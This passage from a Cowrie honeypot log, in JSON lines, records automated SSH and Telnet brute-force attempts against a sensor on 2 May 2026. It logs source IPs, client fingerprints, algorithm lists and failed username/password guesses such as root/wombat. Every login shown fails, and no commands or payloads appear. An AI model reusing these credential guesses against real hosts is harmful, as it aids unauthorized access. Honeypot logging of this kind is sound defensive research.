5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:08.566950Z","src_ip":"45.148.10.147","session":"670e64734202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:08.940507Z","src_ip":"45.148.10.147","session":"670e64734202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":60852,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddf54f36812d","protocol":"ssh","message":"New connection: 165.154.6.69:60852 (159.203.135.109:22) [session: ddf54f36812d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:19.082143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:19.087298Z","src_ip":"165.154.6.69","session":"ddf54f36812d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:19.301625Z","src_ip":"165.154.6.69","session":"ddf54f36812d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123qwe!@#","message":"login attempt [user/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:20.181375Z","src_ip":"165.154.6.69","session":"ddf54f36812d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:21.395848Z","src_ip":"165.154.6.69","session":"ddf54f36812d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.1012761592865,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:24.923561Z","src_ip":"161.132.53.68","session":"96abd09f61ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":11703,"dst_ip":"159.203.135.109","dst_port":22,"session":"867bdfce4053","protocol":"ssh","message":"New connection: 193.24.211.95:11703 (159.203.135.109:22) [session: 867bdfce4053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:41.723045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:41.735663Z","src_ip":"193.24.211.95","session":"867bdfce4053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:41.873932Z","src_ip":"193.24.211.95","session":"867bdfce4053","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wombat","message":"login attempt [root/wombat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:42.299765Z","src_ip":"193.24.211.95","session":"867bdfce4053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:43.411428Z","src_ip":"193.24.211.95","session":"867bdfce4053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":37870,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ca5b5d59d2e","protocol":"ssh","message":"New connection: 96.78.175.36:37870 (10.17.0.5:22) [session: 0ca5b5d59d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:51.309472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:51.317986Z","src_ip":"96.78.175.36","session":"0ca5b5d59d2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:51.404333Z","src_ip":"96.78.175.36","session":"0ca5b5d59d2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678@","message":"login attempt [root/12345678@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:51.743260Z","src_ip":"96.78.175.36","session":"0ca5b5d59d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:52.839955Z","src_ip":"96.78.175.36","session":"0ca5b5d59d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":47790,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eecfee2140f","protocol":"ssh","message":"New connection: 165.154.6.69:47790 (159.203.135.109:22) [session: 1eecfee2140f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:05:13.376646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:05:13.382304Z","src_ip":"165.154.6.69","session":"1eecfee2140f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:05:13.599267Z","src_ip":"165.154.6.69","session":"1eecfee2140f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser2","password":"123456","message":"login attempt [ftpuser2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:05:14.503182Z","src_ip":"165.154.6.69","session":"1eecfee2140f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:05:15.723639Z","src_ip":"165.154.6.69","session":"1eecfee2140f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":43462,"dst_ip":"10.17.0.5","dst_port":22,"session":"083f53c00582","protocol":"ssh","message":"New connection: 96.78.175.36:43462 (10.17.0.5:22) [session: 083f53c00582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:05:42.838565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:05:42.847050Z","src_ip":"96.78.175.36","session":"083f53c00582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:05:42.936568Z","src_ip":"96.78.175.36","session":"083f53c00582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"travis","message":"login attempt [root/travis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:05:43.287419Z","src_ip":"96.78.175.36","session":"083f53c00582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:05:44.386239Z","src_ip":"96.78.175.36","session":"083f53c00582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":34862,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea4f667cf617","protocol":"ssh","message":"New connection: 165.154.6.69:34862 (159.203.135.109:22) [session: ea4f667cf617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:07.295377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:07.301020Z","src_ip":"165.154.6.69","session":"ea4f667cf617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:07.519770Z","src_ip":"165.154.6.69","session":"ea4f667cf617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123456","message":"login attempt [root/Pass123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:08.422600Z","src_ip":"165.154.6.69","session":"ea4f667cf617","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:09.644823Z","src_ip":"165.154.6.69","session":"ea4f667cf617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35450,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad9584f9360c","protocol":"telnet","message":"New connection: 104.245.105.2:35450 (10.17.0.5:23) [session: ad9584f9360c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:26.504623Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":40582,"dst_ip":"10.17.0.5","dst_port":22,"session":"30b7d8042808","protocol":"ssh","message":"New connection: 96.78.175.36:40582 (10.17.0.5:22) [session: 30b7d8042808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:37.047646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:37.054104Z","src_ip":"96.78.175.36","session":"30b7d8042808","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:37.149807Z","src_ip":"96.78.175.36","session":"30b7d8042808","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123","message":"login attempt [es/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:37.572011Z","src_ip":"96.78.175.36","session":"30b7d8042808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:38.661720Z","src_ip":"96.78.175.36","session":"30b7d8042808","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":34560,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0f3893cbabe","protocol":"ssh","message":"New connection: 88.205.172.170:34560 (10.17.0.5:22) [session: c0f3893cbabe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:42.175650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:42.180835Z","src_ip":"88.205.172.170","session":"c0f3893cbabe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:06:42.336189Z","src_ip":"88.205.172.170","session":"c0f3893cbabe","protocol":"ssh"}
